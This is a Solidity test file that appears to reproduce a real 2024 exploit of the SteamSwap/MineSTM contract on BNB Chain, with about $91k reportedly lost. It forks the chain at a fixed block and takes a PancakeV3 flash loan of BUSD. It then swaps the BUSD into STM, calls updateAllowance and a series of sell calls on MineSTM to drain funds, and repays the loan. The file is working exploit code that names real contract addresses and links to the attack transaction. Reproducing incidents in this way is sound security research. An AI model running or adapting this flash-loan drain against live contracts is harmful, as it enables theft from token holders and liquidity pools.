src/test/2024-06/SteamSwap_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$91k
8// Attacker : https://bscscan.com/address/0xb2d546547168f61debf0a780210b5591e4dd39a8
9// Attack Contract : https://bscscan.com/address/0xa4fd1beac3b5fb78a8ec074338152100b87437a9
10// Vulnerable Contract : https://bscscan.com/address/0xb7d0a1adafa3e9e8d8e244c20b6277bee17a09b6
11// Attack Tx : https://bscscan.com/tx/0x40f3bdd0a3a8d0476ae6aa2875dc2ec60b80812e2a394b67a88260df57c65522
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xb7d0a1adafa3e9e8d8e244c20b6277bee17a09b6#code
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy :
19// Hacking God :
20pragma solidity ^0.8.0;
21 
22interface IMineSTM {
23    function updateAllowance() external;
24    function sell(
25        uint256 amount
26    ) external;
27}
28 
29interface ICake_LP {
30    function sync() external;
31}
32 
33contract SteamSwap is BaseTestWithBalanceLog {
34    uint256 blocknumToForkFrom = 39_381_373;
35 
36    address internal constant Cake_LP = 0x2E45AEf311706e12D48552d0DaA8D9b8fb764B1C;
37    address internal constant PancakeV3Pool = 0x92b7807bF19b7DDdf89b706143896d05228f3121;
38    address internal constant PancakeRouter = 0x0ff0eBC65deEe10ba34fd81AfB6b95527be46702;
39    address internal constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
40    address internal constant STM = 0xBd0DF7D2383B1aC64afeAfdd298E640EfD9864e0;
41    address internal constant MineSTM = 0xb7D0A1aDaFA3e9e8D8e244C20B6277Bee17a09b6;
42 
43    function setUp() public {
44        vm.createSelectFork("bsc", blocknumToForkFrom);
45        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
46        fundingToken = address(BUSD);
47    }
48 
49    function testExploit() public balanceLog {
50        //implement exploit code here
51        ICake_LP(Cake_LP).sync();
52        uint256 amount0 = 500_000_000_000_000_000_000_000;
53        IPancakeV3PoolActions(PancakeV3Pool).flash(address(this), amount0, 0, "");
54    }
55 
56    function pancakeV3FlashCallback(uint256, uint256, bytes memory) external {
57        IERC20(BUSD).approve(PancakeRouter, type(uint256).max);
58 
59        uint256 balance = IERC20(BUSD).balanceOf(address(this));
60        address[] memory path = new address[](2);
61        path[0] = BUSD;
62        path[1] = STM;
63        IPancakeRouter(payable(PancakeRouter)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
64            balance, 0, path, address(this), 1_717_695_757
65        );
66        IMineSTM(MineSTM).updateAllowance();
67        IERC20(STM).approve(MineSTM, type(uint256).max);
68 
69        IMineSTM(MineSTM).sell(788_457_284_784_675_531_947_146);
70        IMineSTM(MineSTM).sell(58_404_243_317_383_372_736_827);
71        IMineSTM(MineSTM).sell(4_326_240_245_732_101_684_211);
72        IMineSTM(MineSTM).sell(32_046_224_042_460_012_475);
73 
74        IERC20(BUSD).transfer(PancakeV3Pool, 500_050_000_000_000_000_000_000);
75    }
76}